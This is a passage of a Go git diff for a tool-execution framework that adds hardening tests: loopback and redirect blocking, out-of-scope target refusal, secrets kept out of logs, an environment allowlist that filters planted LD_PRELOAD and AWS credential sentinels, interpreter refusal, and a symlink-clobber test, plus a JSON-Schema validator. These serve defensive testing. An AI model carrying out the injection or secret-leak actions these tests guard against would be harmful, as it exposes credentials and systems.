manifest.LoadManifest(write(body("http://127.0.0.1:8080/x?u={u}", "block_internal = true"))); err == nil || + !strings.Contains(err.Error(), "loopback") { + t.Fatalf("loopback host under block_internal must be refused, got %v", err) + } + if _, err := manifest.LoadManifest(write(body("https://api.example.com/x?u={u}", "block_internal = true"))); err != nil { + t.Fatalf("public literal host must load: %v", err) + } +} + +func TestHTTPRedirectNotFollowed(t *testing.T) { + var hits int32 + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + atomic.AddInt32(&hits, 1) + http.Redirect(w, r, "http://127.0.0.1:1/", http.StatusFound) + })) + defer ts.Close() + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "redir", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{}, + Http: &manifest.HttpDef{Method: "GET", URL: ts.URL + "/start"}, + } + env, err := ExecuteHTTP(m, map[string]string{}) + if err != nil { + t.Fatal(err) + } + if env.Status != "redirect_blocked" || env.Results["location"] != "http://127.0.0.1:1/" { + t.Fatalf("want redirect_blocked with location, got %+v", env) + } + if _, ok := env.Results["raw_output"]; !ok { + t.Fatalf("body must be kept under raw_output: %+v", env.Results) + } + if n := atomic.LoadInt32(&hits); n != 1 { + t.Fatalf("exactly one request expected, got %d", n) + } +} + +func TestHTTPEnvelopeCommandIsDeclared(t *testing.T) { + const secret = "s3cr3t-value" + t.Setenv("TOOLCLAD_SECRET_API_KEY", secret) + var gotAuth string + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotAuth = r.Header.Get("Authorization") + })) + defer ts.Close() + tmpl := ts.URL + "/items/{id}?key={_secret:api_key}" + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "cmd", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{"id": {Name: "id", Type: "string", Required: true}}, + Http: &manifest.HttpDef{Method: "get", URL: tmpl, Headers: map[string]string{"Authorization": "Bearer {_secret:api_key}"}}, + } + env, err := ExecuteHTTP(m, map[string]string{"id": "42"}) + if err != nil || env.Status != "success" { + t.Fatalf("%v %+v", err, env) + } + if env.Command != "GET "+tmpl { + t.Fatalf("command = %q", env.Command) + } + if !strings.Contains(env.Command, "{_secret:") || strings.Contains(env.Command, secret) { + t.Fatalf("command must keep the secret reference, never the value: %q", env.Command) + } + if gotAuth != "Bearer "+secret { + t.Fatalf("the request itself must carry the secret, got %q", gotAuth) + } +} + +func TestOneshotEnvelopeCommandIsDeclared(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "decl", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{"target": {Name: "target", Type: "string", Required: true}}, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{target}", "{_output_file}"}, + ExecWasDeclared: true, + }, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, map[string]string{"target": "example.com"}) + if err != nil || env.Status != "success" { + t.Fatalf("%v %+v", err, env) + } + if env.Command != "echo {target} {_output_file}" { + t.Fatalf("command = %q", env.Command) + } + if strings.Contains(env.Command, evDir) { + t.Fatalf("command leaks the evidence path: %q", env.Command) + } + // The dry run keeps the resolved argv. + dry, err := BuildCommand(m, map[string]string{"target": "example.com"}) + if err != nil || !strings.HasPrefix(dry, "echo example.com ") || !strings.Contains(dry, evDir) { + t.Fatalf("dry run must show the resolved command, got %q (%v)", dry, err) + } + + // A legacy template is reported as written. + tm := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "tpl", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{"target": {Name: "target", Type: "string", Required: true}}, + Command: manifest.CommandDef{Template: "echo {target}"}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err = Execute(tm, map[string]string{"target": "example.com"}) + if err != nil || env.Command != "echo {target}" { + t.Fatalf("template command = %q (%v)", env.Command, err) + } +} diff --git a/go/pkg/executor/schema.go b/go/pkg/executor/schema.go new file mode 100644 index 0000000..d4c24a1 --- /dev/null +++ b/go/pkg/executor/schema.go @@ -0,0 +1,309 @@ +package executor + +import ( + "bytes" + "encoding/json" + "fmt" + "math/big" + "regexp" + "sort" + "strconv" + "unicode/utf8" + + "github.com/thirdkeyai/toolclad/pkg/validator" +) + +// This file is a small JSON-Schema subset validator, bundled so a manifest's +// [output.schema] is enforced without a new dependency. Supported keywords: +// type, properties, required, additionalProperties (boolean only), items (a +// single schema), enum, minimum, maximum, minLength, maxLength and pattern +// (anchored like every other pattern, ^(?:pat)$). Unknown keywords are +// ignored. Values are compared in JSON terms: both the schema and the +// document are normalized through encoding/json with UseNumber, so numeric +// checks are exact rather than float64 approximations. +// +// Object keys are visited in sorted order (Go maps keep no document order), +// which makes the reported first failure deterministic. + +// SchemaError is the first failure found while validating a document. Path +// is a JSON pointer ("" for the root). +type SchemaError struct { + Path string + Message string +} + +// Error renders ": ", the root pointer shown as "/". +func (e *SchemaError) Error() string { + p := e.Path + if p == "" { + p = "/" + } + return p + ": " + e.Message +} + +// normalizeJSON round-trips v through encoding/json so every value is one of +// map[string]any, []any, string, bool, nil or json.Number. +func normalizeJSON(v any) (any, error) { + data, err := json.Marshal(v) + if err != nil { + return nil, err + } + dec := json.NewDecoder(bytes.NewReader(data)) + dec.UseNumber() + var out any + if err := dec.Decode(&out); err != nil { + return nil, err + } + return out, nil +} + +// ValidateSchema validates doc against schema. Both may be any Go value +// encoding/json can marshal (a TOML-decoded schema, parsed tool output). It +// returns nil when the document conforms and a *SchemaError otherwise. +func ValidateSchema(schema, doc any) error { + s, err := normalizeJSON(schema) + if err != nil { + return &SchemaError{Message: fmt.Sprintf("schema is not representable as JSON: %v", err)} + } + d, err := normalizeJSON(doc) + if err != nil { + return &SchemaError{Message: fmt.Sprintf("value is not representable as JSON: %v", err)} + } + if e := validateNode(s, d, ""); e != nil { + return e + } + return nil +} + +// escapePointer escapes one JSON-pointer reference token. +func escapePointer(tok string) string { + b := make([]byte, 0, len(tok)) + for i := 0; i < len(tok); i++ { + switch tok[i] { + case '~': + b = append(b, '~', '0') + case '/': + b = append(b, '~', '1') + default: + b = append(b, tok[i]) + } + } + return string(b) +} + +// toRat returns the exact value of a JSON number. +func toRat(v any) (*big.Rat, bool) { + n, ok := v.(json.Number) + if !ok { + return nil, false + } + r, ok := new(big.Rat).SetString(string(n)) + return r, ok +} + +// jsonType names v's JSON type; an integral number is "integer". +func jsonType(v any) string { + switch v.(type) { + case nil: + return "null" + case bool: + return "boolean" + case string: + return "string" + case []any: + return "array" + case map[string]any: + return "object" + case json.Number: + if r, ok := toRat(v); ok && r.IsInt() { + return "integer" + } + return "number" + } + return fmt.Sprintf("%T", v) +} + +// typeMatches reports whether v is of JSON-Schema type t. An integer is +// also a number, and a number with no fractional part (30.0) is an integer. +func typeMatches(t string, v any) bool { + got := jsonType(v) + switch t { + case "number": + return got == "number" || got == "integer" + default: + return got == t + } +} + +// jsonEqual is deep equality in JSON terms: numbers by value. +func jsonEqual(a, b any) bool { + switch av := a.(type) { + case json.Number: + ar, ok1 := toRat(av) + br, ok2 := toRat(b) + return ok1 && ok2 && ar.Cmp(br) == 0 + case []any: + bv, ok := b.([]any) + if !ok || len(av) != len(bv) { + return false + } + for i := range av { + if !jsonEqual(av[i], bv[i]) { + return false + } + } + return true + case map[string]any: + bv, ok := b.(map[string]any) + if !ok || len(av) != len(bv) { + return false + } + for k, x := range av { + y, ok := bv[k] + if !ok || !jsonEqual(x, y) { + return false + } + } + return true + default: + return a == b + } +} + +func sortedKeys(m map[string]any) []string { + keys := make([]string, 0, len(m)) + for k := range m { + keys = append(keys, k) + } + sort.Strings(keys) + return keys +} + +// schemaInt reads a non-negative integer keyword value (minLength, ...). +func schemaInt(v any) (int, bool) { + r, ok := toRat(v) + if !ok || !r.IsInt() || r.Sign() < 0 || !r.Num().IsInt64() { + return 0, false + } + return int(r.Num().Int64()), true +} + +func validateNode(schemaVal, v any, path string) *SchemaError { + schema, ok := schemaVal.(map[string]any) + if !ok { + // A boolean schema: true accepts everything, false nothing. Any + // other non-object schema constrains nothing. + if b, isBool := schemaVal.(bool); isBool && !b { + return &SchemaError{path, "no value is allowed here"} + } + return nil + } + fail := func(format string, a ...any) *SchemaError { + return &SchemaError{path, fmt.Sprintf(format, a...)} + } + + if t, ok := schema["type"]; ok { + switch tv := t.(type) { + case string: + if !typeMatches(tv, v) { + return fail("expected %s, got %s", tv, jsonType(v)) + } + case []any: + matched := false + names := "" + for i, x := range tv { + s, _ := x.(string) + if i > 0 { + names += " or " + } + names += s + if typeMatches(s, v) { + matched = true + } + } + if !matched { + return fail("expected %s, got %s", names, jsonType(v)) + } + } + } + + if allowed, ok := schema["enum"].([]any); ok { + found := false + for _, a := range allowed { + if jsonEqual(a, v) { + found = true + break + } + } + if !found { + return fail("value is not one of the allowed enum values") + } + } + + if r, isNum := toRat(v); isNum { + if minR, ok := toRat(schema["minimum"]); ok && r.Cmp(minR) < 0 { + return fail("%s is less than minimum %s", v, schema["minimum"]) + } + if maxR, ok := toRat(schema["maximum"]); ok && r.Cmp(maxR) > 0 { + return fail("%s is greater than maximum %s", v, schema["maximum"]) + } + } + + if s, isStr := v.(string); isStr { + n := utf8.RuneCountInString(s) + if minL, ok := schemaInt(schema["minLength"]); ok && n < minL { + return fail("string length %d is less than minLength %d", n, minL) + } + if maxL, ok := schemaInt(schema["maxLength"]); ok && n > maxL { + return fail("string length %d is greater than maxLength %d", n, maxL) + } + if pat, ok := schema["pattern"].(string); ok { + re, err := regexp.Compile(validator.AnchorPattern(pat)) + if err != nil { + return fail("invalid pattern %s in schema: %v", strconv.Quote(pat), err) + } + if !re.MatchString(s) { + return fail("string does not match pattern %s", strconv.Quote(pat)) + } + } + } + + if obj, isObj := v.(map[string]any); isObj { + if req, ok := schema["required"].([]any); ok { + for _, x := range req { + name, _ := x.(string) + if _, present := obj[name]; !present { + return fail("missing required property '%s'", name) + } + } + } + props, _ := schema["properties"].(map[string]any) + if ap, ok := schema["additionalProperties"].(bool); ok && !ap { + for _, k := range sortedKeys(obj) { + if _, declared := props[k]; !declared { + return fail("additional property '%s' is not allowed", k) + } + } + } + for _, k := range sortedKeys(obj) { + sub, declared := props[k] + if !declared { + continue + } + if e := validateNode(sub, obj[k], path+"/"+escapePointer(k)); e != nil { + return e + } + } + } + + if arr, isArr := v.([]any); isArr { + if items, ok := schema["items"]; ok { + for i, x := range arr { + if e := validateNode(items, x, path+"/"+strconv.Itoa(i)); e != nil { + return e + } + } + } + } + return nil +} diff --git a/go/pkg/executor/scope_test.go b/go/pkg/executor/scope_test.go new file mode 100644 index 0000000..5d94456 --- /dev/null +++ b/go/pkg/executor/scope_test.go @@ -0,0 +1,126 @@ +package executor + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/thirdkeyai/toolclad/pkg/manifest" + "github.com/thirdkeyai/toolclad/pkg/scope" +) + +func scopedArgs() map[string]*manifest.ArgDef { + return map[string]*manifest.ArgDef{ + "target": {Name: "target", Position: 1, Required: true, Type: "scope_target", ScopeCheck: true, BlockInternal: true}, + } +} + +// Every execution path passes the manifest's scope to the validator. +func TestScopeEnforcedOnEveryPath(t *testing.T) { + sc := &scope.ScopeDef{AllowedCIDRs: []string{"93.184.216.0/24"}} + + oneshot := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: scopedArgs(), + Command: manifest.CommandDef{Exec: []string{"echo", "{target}"}}, + Scope: sc, + } + argv, err := BuildCommandArgv(oneshot, map[string]string{"target": "93.184.216.34"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "93.184.216.34"}) + if _, err := BuildCommandArgv(oneshot, map[string]string{"target": "8.8.8.8"}); err == nil || + !strings.Contains(err.Error(), "target '8.8.8.8' is not in scope") { + t.Errorf("oneshot: want scope refusal, got %v", err) + } + if _, err := Execute(oneshot, map[string]string{"target": "8.8.8.8"}); err == nil || + !strings.Contains(err.Error(), "is not in scope") { + t.Errorf("execute: want scope refusal, got %v", err) + } + + httpM := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: scopedArgs(), + Http: &manifest.HttpDef{Method: "GET", URL: "https://api.example.com/{target}"}, + Scope: sc, + } + if _, err := ExecuteHTTP(httpM, map[string]string{"target": "8.8.8.8"}); err == nil || + !strings.Contains(err.Error(), "is not in scope") { + t.Errorf("http: want scope refusal before any request, got %v", err) + } + + mcpM := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: scopedArgs(), + Mcp: &manifest.McpProxyDef{Server: "mcp://x", Tool: "y"}, + Scope: sc, + } + if _, err := ExecuteMCP(mcpM, map[string]string{"target": "93.184.216.34"}); err != nil { + t.Errorf("mcp in scope: %v", err) + } + if _, err := ExecuteMCP(mcpM, map[string]string{"target": "8.8.8.8"}); err == nil || + !strings.Contains(err.Error(), "is not in scope") { + t.Errorf("mcp: want scope refusal, got %v", err) + } +} + +// A manifest built in memory discovers its scope through the environment +// (or the working directory) the first time it is used. +func TestInMemoryManifestDiscoversScope(t *testing.T) { + f := filepath.Join(t.TempDir(), "scope.toml") + if err := os.WriteFile(f, []byte("[scope]\nallowed_cidrs = [\"93.184.216.0/24\"]\n"), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv(scope.EnvVar, f) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: scopedArgs(), + Command: manifest.CommandDef{Exec: []string{"echo", "{target}"}}, + } + if _, err := BuildCommandArgv(m, map[string]string{"target": "93.184.216.34"}); err != nil { + t.Fatal(err) + } + if m.Scope == nil { + t.Fatal("scope not cached on the manifest") + } + if _, err := BuildCommandArgv(m, map[string]string{"target": "8.8.8.8"}); err == nil { + t.Error("out-of-scope target accepted") + } +} + +// A loaded manifest uses the scope file found above its own directory. +func TestLoadedManifestUsesDiscoveredScope(t *testing.T) { + t.Setenv(scope.EnvVar, "") + root := t.TempDir() + if err := os.MkdirAll(filepath.Join(root, "scope"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "scope", "scope.toml"), + []byte("[scope]\nallowed_domains = [\"*.example.com\"]\n"), 0o644); err != nil { + t.Fatal(err) + } + dir := filepath.Join(root, "manifests") + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + p := filepath.Join(dir, "t.clad.toml") + body := "[tool]\nname = \"t\"\nversion = \"1\"\ndescription = \"d\"\n\n" + + "[args.target]\nposition = 1\nrequired = true\ntype = \"scope_target\"\nscope_check = true\n\n" + + "[command]\nexec = [\"echo\", \"{target}\"]\n\n[output]\nformat = \"text\"\n" + if err := os.WriteFile(p, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + m, err := manifest.LoadManifest(p) + if err != nil { + t.Fatal(err) + } + if _, err := BuildCommandArgv(m, map[string]string{"target": "app.example.com"}); err != nil { + t.Errorf("in scope: %v", err) + } + if _, err := BuildCommandArgv(m, map[string]string{"target": "example.com"}); err == nil || + !strings.Contains(err.Error(), "is not in scope") { + t.Errorf("apex: want scope refusal, got %v", err) + } +} diff --git a/go/pkg/executor/spawn_test.go b/go/pkg/executor/spawn_test.go new file mode 100644 index 0000000..fa23398 --- /dev/null +++ b/go/pkg/executor/spawn_test.go @@ -0,0 +1,577 @@ +package executor + +import ( + "errors" + "fmt" + "os" + "os/exec" + "os/signal" + "path/filepath" + "regexp" + "strconv" + "strings" + "syscall" + "testing" + "time" + + "github.com/thirdkeyai/toolclad/pkg/manifest" +) + +// helperToolName is the tool name of the manifests that re-execute this +// test binary as a tool. Together with TOOLCLAD_ARG_TEST_HELPER it is the +// flag that switches the binary into helper mode. The child environment is +// an allowlist, so the flag reaches the helper through the executor hatch's +// TOOLCLAD_TOOL_NAME / TOOLCLAD_ARG_* variables rather than a variable of +// its own. +const helperToolName = "toolclad-test-helper" + +// TestMain runs the helper modes when, and only when, this binary was +// re-executed by a helper manifest; otherwise it runs the tests. +func TestMain(m *testing.M) { + if mode := os.Getenv("TOOLCLAD_ARG_TEST_HELPER"); mode != "" && os.Getenv("TOOLCLAD_TOOL_NAME") == helperToolName { + runHelper(mode) + os.Exit(0) + } + os.Exit(m.Run()) +} + +func runHelper(mode string) { + switch mode { + case "hold-stdout": + // Leave a background child holding stdout, then exit: the TC-11 + // shape (an NSE script or `nohup ... &`). + c := exec.Command("sleep", "30") + c.Stdout = os.Stdout + c.Stderr = os.Stderr + if err := c.Start(); err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(3) + } + fmt.Printf("child-pid %d\n", c.Process.Pid) + case "print-sleep", "ignore-term": + if mode == "ignore-term" { + signal.Ignore(syscall.SIGTERM) + } + fmt.Println("partial-line") + fmt.Printf("child-pid %d\n", os.Getpid()) + time.Sleep(30 * time.Second) + default: + os.Exit(2) + } +} + +func helperManifest(timeout int) *manifest.Manifest { + return &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: helperToolName, TimeoutSeconds: timeout}, + Args: map[string]*manifest.ArgDef{ + "test_helper": {Name: "test_helper", Required: true, Type: "string"}, + }, + Command: manifest.CommandDef{Executor: os.Args[0]}, + Output: &manifest.OutputDef{Format: "text"}, + } +} + +var childPidRe = regexp.MustCompile(`child-pid (\d+)`) + +func childPid(t *testing.T, out string) int { + t.Helper() + m := childPidRe.FindStringSubmatch(out) + if m == nil { + t.Fatalf("no child pid in output %q", out) + } + pid, _ := strconv.Atoi(m[1]) + return pid +} + +// waitGone polls until pid no longer exists (or is a zombie awaiting its +// reaper) and fails the test if it is still running after a few seconds. +func waitGone(t *testing.T, pid int) { + t.Helper() + deadline := time.Now().Add(3 * time.Second) + for time.Now().Before(deadline) { + if err := syscall.Kill(pid, 0); errors.Is(err, syscall.ESRCH) { + return + } + if b, err := os.ReadFile(fmt.Sprintf("/proc/%d/stat", pid)); err == nil { + if f := strings.Fields(string(b)); len(f) > 2 && f[2] == "Z" { + return + } + } + time.Sleep(20 * time.Millisecond) + } + t.Fatalf("process %d is still alive", pid) +} + +func rawOutput(env *EvidenceEnvelope) string { + if env == nil { + return "" + } + s, _ := env.Results["raw_output"].(string) + return s +} + +func envMap(out string) map[string]string { + vars := map[string]string{} + for _, line := range strings.Split(strings.TrimSpace(out), "\n") { + if k, v, ok := strings.Cut(line, "="); ok { + vars[k] = v + } + } + return vars +} + +func setSentinels(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + t.Setenv("TOOLCLAD_SECRET_LEAK", "sentinel-one") + t.Setenv("AWS_SECRET_ACCESS_KEY", "sentinel-two") + t.Setenv("LD_PRELOAD", "/tmp/x") + t.Setenv("PATH", "/nonexistent:"+os.Getenv("PATH")) + t.Setenv("LANG", "C.UTF-8") +} + +func TestChildEnvironmentIsAllowlisted(t *testing.T) { + setSentinels(t) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "env_dump", Binary: "printenv", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"printenv"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + out := rawOutput(env) + for _, s := range []string{"sentinel-one", "sentinel-two", "/tmp/x", "/nonexistent"} { + if strings.Contains(out, s) { + t.Errorf("child environment leaked %q:\n%s", s, out) + } + } + allowed := map[string]bool{"PATH": true, "HOME": true, "LANG": true, "LC_ALL": true, "TZ": true, "TERM": true} + vars := envMap(out) + for k := range vars { + if !allowed[k] { + t.Errorf("unexpected child variable %s", k) + } + } + if vars["PATH"] != fixedPath { + t.Errorf("PATH = %q, want %q", vars["PATH"], fixedPath) + } + if vars["LANG"] != "C.UTF-8" { + t.Errorf("LANG not passed through: %q", vars["LANG"]) + } +} + +func TestExecutorHatchEnvironment(t *testing.T) { + setSentinels(t) + bin, err := exec.LookPath("printenv") + if err != nil { + t.Skip("printenv not available") + } + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "hatch", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{ + "target": {Name: "target", Required: true, Type: "string"}, + }, + Command: manifest.CommandDef{Executor: bin}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, map[string]string{"target": "example"}) + if err != nil { + t.Fatal(err) + } + out := rawOutput(env) + vars := envMap(out) + evDir := os.Getenv("TOOLCLAD_EVIDENCE_DIR") + want := map[string]string{ + "PATH": fixedPath, + "TOOLCLAD_ARG_TARGET": "example", + "TOOLCLAD_SCAN_ID": env.ScanID, + "TOOLCLAD_TOOL_NAME": "hatch", + "TOOLCLAD_EVIDENCE_DIR": evDir, + "TOOLCLAD_OUTPUT_DIR": filepath.Join(evDir, env.ScanID+"-hatch"), + } + for k, v := range want { + if vars[k] != v { + t.Errorf("%s = %q, want %q", k, vars[k], v) + } + } + for k := range vars { + if strings.HasPrefix(k, "TOOLCLAD_SECRET_") || k == "AWS_SECRET_ACCESS_KEY" || k == "LD_PRELOAD" { + t.Errorf("hatch leaked %s", k) + } + } + if strings.Contains(out, "sentinel") { + t.Errorf("hatch leaked a sentinel:\n%s", out) + } +} + +// The explicit filter holds even if a TOOLCLAD_SECRET_* entry is handed to +// childEnv directly, so a future allowlist edit cannot reintroduce it. +func TestChildEnvFiltersSecrets(t *testing.T) { + env := childEnv([]string{"TOOLCLAD_SECRET_X=v", "TOOLCLAD_ARG_A=b"}) + for _, kv := range env { + if strings.HasPrefix(kv, "TOOLCLAD_SECRET_") { + t.Fatalf("childEnv passed %q", kv) + } + } + if env[0] != "PATH="+fixedPath || env[len(env)-1] != "TOOLCLAD_ARG_A=b" { + t.Fatalf("childEnv = %q", env) + } +} + +func writeSecrets(t *testing.T, mode os.FileMode, body string) string { + t.Helper() + p := filepath.Join(t.TempDir(), "secrets.toml") + if err := os.WriteFile(p, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + if err := os.Chmod(p, mode); err != nil { + t.Fatal(err) + } + return p +} + +func TestSecretsFile(t *testing.T) { + p := writeSecrets(t, 0o600, "api_key = \"from-file\"\n") + t.Setenv("TOOLCLAD_SECRETS_FILE", p) + t.Setenv("TOOLCLAD_SECRET_API_KEY", "from-env") + got, err := injectTemplateVars("Bearer {_secret:api_key}") + if err != nil { + t.Fatal(err) + } + if got != "Bearer from-file" { + t.Errorf("file must win over env: got %q", got) + } + + // A name only in the environment still resolves. + t.Setenv("TOOLCLAD_SECRET_OTHER", "env-only") + if got, err := injectTemplateVars("{_secret:other}"); err != nil || got != "env-only" { + t.Errorf("env fallback: %q, %v", got, err) + } + + // A missing secret is still an error. + if _, err := injectTemplateVars("{_secret:absent}"); err == nil || + !strings.Contains(err.Error(), "TOOLCLAD_SECRET_ABSENT") { + t.Errorf("missing secret: want error, got %v", err) + } +} + +func TestSecretsFileRefusedWhenGroupReadable(t *testing.T) { + p := writeSecrets(t, 0o644, "api_key = \"x\"\n") + t.Setenv("TOOLCLAD_SECRETS_FILE", p) + _, err := injectTemplateVars("{_secret:api_key}") + want := fmt.Sprintf("TOOLCLAD_SECRETS_FILE '%s' is readable by group or others (mode 0644); chmod 600 it", p) + if err == nil || err.Error() != want { + t.Fatalf("want %q, got %v", want, err) + } +} + +// One request reads the secrets file once however many placeholders it has. +func TestSecretsFileReadOncePerSource(t *testing.T) { + p := writeSecrets(t, 0o600, "a = \"1\"\n") + t.Setenv("TOOLCLAD_SECRETS_FILE", p) + src := &secretSource{} + if got, err := src.expand("{_secret:a}"); err != nil || got != "1" { + t.Fatalf("got %q, %v", got, err) + } + if err := os.WriteFile(p, []byte("a = \"2\"\n"), 0o600); err != nil { + t.Fatal(err) + } + if got, _ := src.expand("{_secret:a}"); got != "1" { + t.Errorf("source re-read the file: got %q", got) + } +} + +func TestResolveArgv0(t *testing.T) { + p, err := resolveArgv0("echo") + if err != nil || !filepath.IsAbs(p) || filepath.Base(p) != "echo" { + t.Fatalf("resolveArgv0(echo) = %q, %v", p, err) + } + _, err = resolveArgv0("toolclad-no-such-binary") + if err == nil || !strings.Contains(err.Error(), "toolclad-no-such-binary") || !strings.Contains(err.Error(), fixedPath) { + t.Fatalf("want resolution error naming binary and PATH, got %v", err) + } + // A path with a separator is used as given (made absolute). + if p, err := resolveArgv0("./x/y"); err != nil || !filepath.IsAbs(p) { + t.Fatalf("relative path: %q, %v", p, err) + } + + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "nobin", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"toolclad-no-such-binary"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, nil) + if err == nil || env == nil || env.Status != "error" { + t.Fatalf("unresolvable argv[0] must be an execution error: %+v, %v", env, err) + } +} + +func TestInMemoryInterpreterRefused(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "sh"}, + Command: manifest.CommandDef{Exec: []string{"/bin/sh", "-c", "true"}}, + } + _, err := BuildCommandArgv(m, nil) + want := "command argv[0] '/bin/sh' is an interpreter; set allow_interpreter = true to permit it" + if err == nil || err.Error() != want { + t.Fatalf("want %q, got %v", want, err) + } +} + +func TestStdinIsDevNull(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "cat", Binary: "cat", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"cat"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + start := time.Now() + env, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + if time.Since(start) > 3*time.Second || env.Status != "success" || rawOutput(env) != "" { + t.Fatalf("cat must read EOF from /dev/null at once: %+v", env) + } +} + +func TestWorkingDirectoryIsScratch(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "pwd", Binary: "pwd", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"pwd"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + work := filepath.Join(evDir, env.ScanID+"-work") + if got := strings.TrimSpace(rawOutput(env)); got != work { + t.Errorf("cwd = %q, want %q", got, work) + } + if _, err := os.Stat(work); !os.IsNotExist(err) { + t.Errorf("empty scratch directory must be removed, stat err = %v", err) + } + + // The scratch directory is mode 0700 while the tool runs. + m = &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "stat", Binary: "stat", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"stat", "-c", "%a", "."}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err = Execute(m, nil) + if err != nil { + t.Fatal(err) + } + if got := strings.TrimSpace(rawOutput(env)); got != "700" { + t.Errorf("scratch directory mode = %q, want 700", got) + } + + // A scratch directory the tool wrote into is kept. + m = &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "touch", Binary: "touch", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"touch", "left-behind"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err = Execute(m, nil) + if err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(evDir, env.ScanID+"-work", "left-behind")); err != nil { + t.Errorf("non-empty scratch directory must be kept: %v", err) + } +} + +var scanIDRe = regexp.MustCompile(`^\d+-[0-9a-f]{32}$`) + +func TestEvidencePaths(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "touch", Binary: "touch", TimeoutSeconds: 5}, + Command: manifest.CommandDef{Exec: []string{"touch", "{_output_file}"}}, + Output: &manifest.OutputDef{Format: "xml"}, + } + env1, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + env2, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + if env1.ScanID == env2.ScanID || !scanIDRe.MatchString(env1.ScanID) || !scanIDRe.MatchString(env2.ScanID) { + t.Errorf("scan ids %q / %q must differ and match -<32 hex>", env1.ScanID, env2.ScanID) + } + outDir := filepath.Join(evDir, env1.ScanID+"-touch") + // touch succeeded, so the directory existed before the spawn. + if _, err := os.Stat(filepath.Join(outDir, "scan.xml")); err != nil { + t.Errorf("tool could not write {_output_file}: %v", err) + } + for _, d := range []string{evDir, outDir} { + fi, err := os.Stat(d) + if err != nil || fi.Mode().Perm() != 0o700 { + t.Errorf("%s: mode %v, err %v; want 0700", d, fi.Mode().Perm(), err) + } + } + + // [tool.evidence] output_dir is honored. + m.Tool.Evidence = &manifest.EvidenceDef{OutputDir: "{evidence_dir}/custom-{scan_id}"} + m.Output.Format = "weird" + env, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(evDir, "custom-"+env.ScanID, "scan.txt")); err != nil { + t.Errorf("output_dir not honored: %v", err) + } +} + +func TestEvidenceWriteRefusesSymlink(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + fixed := filepath.Join(evDir, "fixed") + if err := os.MkdirAll(fixed, 0o700); err != nil { + t.Fatal(err) + } + victim := filepath.Join(t.TempDir(), "victim") + if err := os.WriteFile(victim, []byte("original"), 0o600); err != nil { + t.Fatal(err) + } + if err := os.Symlink(victim, filepath.Join(fixed, "scan.txt")); err != nil { + t.Fatal(err) + } + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{ + Name: "echo", Binary: "echo", TimeoutSeconds: 5, + 